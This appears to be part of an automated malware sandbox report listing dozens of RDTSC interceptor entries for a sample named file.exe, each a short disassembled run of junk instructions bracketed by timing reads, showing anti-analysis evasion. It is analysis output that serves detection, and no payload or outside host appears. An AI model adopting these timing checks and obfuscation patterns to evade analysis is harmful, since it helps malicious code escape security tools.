Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C4783 second address: 7C4787 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C4787 second address: 7C47A4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jc 00007F4FE48681C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 jne 00007F4FE48681C6h 0x00000016 jnp 00007F4FE48681C6h 0x0000001c pop ecx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C4919 second address: 7C492E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F4FE44F82BFh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C492E second address: 7C4932 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C4BF5 second address: 7C4BFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C4BFB second address: 7C4C0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4FE48681CAh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C4D50 second address: 7C4D54 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C4D54 second address: 7C4D60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F4FE48681C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C4D60 second address: 7C4D6B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 je 00007F4FE44F82B6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C58B3 second address: 7C58BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 push esi 0x00000007 pop esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C9633 second address: 7C9638 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C9638 second address: 7C9640 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C9640 second address: 7C9657 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4FE44F82BEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C937D second address: 7C9383 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C9383 second address: 7C938C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EB95C second address: 7EB96B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F4FE48681C6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EB96B second address: 7EB96F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 800C3B second address: 800C3F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 800C3F second address: 800C45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 800D6B second address: 800D85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 ja 00007F4FE48681CCh 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jl 00007F4FE48681C6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 800E9F second address: 800EB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F4FE44F82B6h 0x0000000a popad 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 jnp 00007F4FE44F82B6h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 800EB7 second address: 800ED3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F4FE48681D3h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 800ED3 second address: 800ED7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 800ED7 second address: 800EDB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80104D second address: 801053 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 801053 second address: 801074 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F4FE48681C6h 0x0000000a jmp 00007F4FE48681D7h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 801224 second address: 801228 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 801667 second address: 801689 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F4FE48681D9h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 801689 second address: 801696 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 801696 second address: 8016B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4FE48681D7h 0x00000009 push eax 0x0000000a pop eax 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8016B4 second address: 8016C6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4FE44F82BDh 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8016C6 second address: 8016CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80193C second address: 801942 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 801942 second address: 801949 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 801AA9 second address: 801AAD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 801AAD second address: 801AD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F4FE48681D0h 0x0000000c jnl 00007F4FE48681C6h 0x00000012 popad 0x00000013 jo 00007F4FE48681D2h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 801AD3 second address: 801AD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 804691 second address: 804696 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 804696 second address: 8046B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a ja 00007F4FE44F82C5h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 804A4D second address: 804A51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 804A51 second address: 804A9A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 jg 00007F4FE44F82BBh 0x0000000f push 00000004h 0x00000011 add edx, dword ptr [ebp+122D2171h] 0x00000017 push BA48927Fh 0x0000001c pushad 0x0000001d pushad 0x0000001e jnl 00007F4FE44F82B6h 0x00000024 jmp 00007F4FE44F82BCh 0x00000029 popad 0x0000002a pushad 0x0000002b jmp 00007F4FE44F82C0h 0x00000030 push eax 0x00000031 push edx 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8098DD second address: 8098F8 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F4FE48681C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F4FE48681CDh 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8098F8 second address: 80990E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4FE44F82C2h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80990E second address: 809914 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0376 second address: 4CA037A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA037A second address: 4CA0396 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4FE48681D8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0396 second address: 4CA03BD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop ecx 0x00000005 mov dl, BDh 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, ebp 0x0000000b jmp 00007F4FE44F82C4h 0x00000010 mov ebp, esp 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA03BD second address: 4CA03C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA03C1 second address: 4CA03C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA03C5 second address: 4CA03CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC06E3 second address: 4CC06E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC06E8 second address: 4CC06EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC06EE second address: 4CC071C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4FE44F82BFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F4FE44F82C5h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC071C second address: 4CC078B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, cx 0x00000006 mov ecx, 3A4AC4EFh 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xchg eax, ecx 0x0000000f pushad 0x00000010 mov di, ax 0x00000013 mov dh, cl 0x00000015 popad 0x00000016 push eax 0x00000017 jmp 00007F4FE48681D6h 0x0000001c xchg eax, ecx 0x0000001d jmp 00007F4FE48681D0h 0x00000022 xchg eax, esi 0x00000023 pushad 0x00000024 mov di, si 0x00000027 jmp 00007F4FE48681CAh 0x0000002c popad 0x0000002d push eax 0x0000002e jmp 00007F4FE48681CBh 0x00000033 xchg eax, esi 0x00000034 push eax 0x00000035 push edx 0x00000036 push eax 0x00000037 push edx 0x00000038 jmp 00007F4FE48681D0h 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC078B second address: 4CC0791 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0791 second address: 4CC07D7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4FE48681CEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea eax, dword ptr [ebp-04h] 0x0000000c jmp 00007F4FE48681D0h 0x00000011 nop 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 pushfd 0x00000016 jmp 00007F4FE48681CDh 0x0000001b jmp 00007F4FE48681CBh 0x00000020 popfd 0x00000021 push eax 0x00000022 pop edi 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC07D7 second address: 4CC07DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC07DD second address: 4CC07E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC07E1 second address: 4CC07F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e mov bl, 62h 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC07F2 second address: 4CC0822 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4FE48681D7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F4FE48681D0h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0822 second address: 4CC0831 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4FE44F82BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0831 second address: 4CC0837 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0882 second address: 4CC0888 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0888 second address: 4CC088D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC088D second address: 4CC08F6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4FE44F82C8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [ebp-04h], 00000000h 0x0000000d pushad 0x0000000e mov ebx, ecx 0x00000010 pushfd 0x00000011 jmp 00007F4FE44F82BAh 0x00000016 adc si, 06D8h 0x0000001b jmp 00007F4FE44F82BBh 0x00000020 popfd 0x00000021 popad 0x00000022 mov esi, eax 0x00000024 pushad 0x00000025 push eax 0x00000026 push edx 0x00000027 pushfd 0x00000028 jmp 00007F4FE44F82C2h 0x0000002d sub si, D138h 0x00000032 jmp 00007F4FE44F82BBh 0x00000037 popfd 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC093B second address: 4CC095E instructions: 0x00000000 rdtsc 0x00000002 mov eax, 323AB037h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov al, 18h 0x0000000b popad 0x0000000c mov eax, esi 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F4FE48681D1h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC095E second address: 4CC0962 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0962 second address: 4CC0968 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0968 second address: 4CC09B0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4FE44F82BCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov di, B7A0h 0x00000011 pushfd 0x00000012 jmp 00007F4FE44F82C9h 0x00000017 or ch, FFFFFFA6h 0x0000001a jmp 00007F4FE44F82C1h 0x0000001f popfd 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC09B0 second address: 4CC09B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC09B6 second address: 4CC09BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC09BA second address: 4CC0014 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 leave 0x00000009 jmp 00007F4FE48681CFh 0x0000000e retn 0004h 0x00000011 nop 0x00000012 sub esp, 04h 0x00000015 xor ebx, ebx 0x00000017 cmp eax, 00000000h 0x0000001a je 00007F4FE486834Fh 0x00000020 xor eax, eax 0x00000022 mov dword ptr [esp], 00000000h 0x00000029 mov dword ptr [esp+04h], 00000000h 0x00000031 call 00007F4FE8FE10DBh 0x00000036 mov edi, edi 0x00000038 push eax 0x00000039 push edx 0x0000003a pushad 0x0000003b jmp 00007F4FE48681CCh 0x00000040 pushad 0x00000041 popad 0x00000042 popad 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0014 second address: 4CC001A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC001A second address: 4CC001E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC001E second address: 4CC00D4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 pushad 0x0000000a movzx eax, bx 0x0000000d call 00007F4FE44F82C7h 0x00000012 pushfd 0x00000013 jmp 00007F4FE44F82C8h 0x00000018 or eax, 31F93368h 0x0000001e jmp 00007F4FE44F82BBh 0x00000023 popfd 0x00000024 pop eax 0x00000025 popad 0x00000026 mov dword ptr [esp], ebp 0x00000029 jmp 00007F4FE44F82BFh 0x0000002e mov ebp, esp 0x00000030 pushad 0x00000031 mov al, 06h 0x00000033 mov dx, 3674h 0x00000037 popad 0x00000038 push FFFFFFFEh 0x0000003a jmp 00007F4FE44F82C3h 0x0000003f push 4B69EC41h 0x00000044 pushad 0x00000045 push eax 0x00000046 push edx 0x00000047 pushfd 0x00000048 jmp 00007F4FE44F82BBh 0x0000004d sub esi, 24E604BEh 0x00000053 jmp 00007F4FE44F82C9h 0x00000058 popfd 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC00D4 second address: 4CC00DE instructions: 0x00000000 rdtsc 0x00000002 mov ch, 6Ah 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC00DE second address: 4CC00FA instructions: 0x00000000 rdtsc 0x00000002 mov di, 5A2Ah 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 xor dword ptr [esp], 3DF37209h 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 mov esi, 56EECFC9h 0x00000018 mov bx, cx 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC00FA second address: 4CC013D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4FE48681CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 call 00007F4FE48681C9h 0x0000000e pushad 0x0000000f push esi 0x00000010 movsx edx, ax 0x00000013 pop eax 0x00000014 mov si, bx 0x00000017 popad 0x00000018 push eax 0x00000019 jmp 00007F4FE48681D6h 0x0000001e mov eax, dword ptr [esp+04h] 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC013D second address: 4CC0141 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0141 second address: 4CC0147 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0147 second address: 4CC014D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC014D second address: 4CC0151 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0151 second address: 4CC01C0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a jmp 00007F4FE44F82BCh 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 pushad 0x00000014 mov edi, 75A02684h 0x00000019 mov bl, 26h 0x0000001b popad 0x0000001c pop eax 0x0000001d jmp 00007F4FE44F82C4h 0x00000022 mov eax, dword ptr fs:[00000000h] 0x00000028 pushad 0x00000029 jmp 00007F4FE44F82BEh 0x0000002e mov edx, ecx 0x00000030 popad 0x00000031 nop 0x00000032 pushad 0x00000033 mov ch, 18h 0x00000035 popad 0x00000036 push eax 0x00000037 push eax 0x00000038 push edx 0x00000039 jmp 00007F4FE44F82C7h 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC01C0 second address: 4CC01D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4FE48681D4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC01D8 second address: 4CC01DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC01DC second address: 4CC01F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F4FE48681CAh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC01F1 second address: 4CC0248 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F4FE44F82C1h 0x00000009 jmp 00007F4FE44F82BBh 0x0000000e popfd 0x0000000f pushfd 0x00000010 jmp 00007F4FE44F82C8h 0x00000015 or ax, 6FE8h 0x0000001a jmp 00007F4FE44F82BBh 0x0000001f popfd 0x00000020 popad 0x00000021 pop edx 0x00000022 pop eax 0x00000023 sub esp, 18h 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 pushad 0x0000002a popad 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0248 second address: 4CC0265 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4FE48681D9h 0x00000009 rdtsc
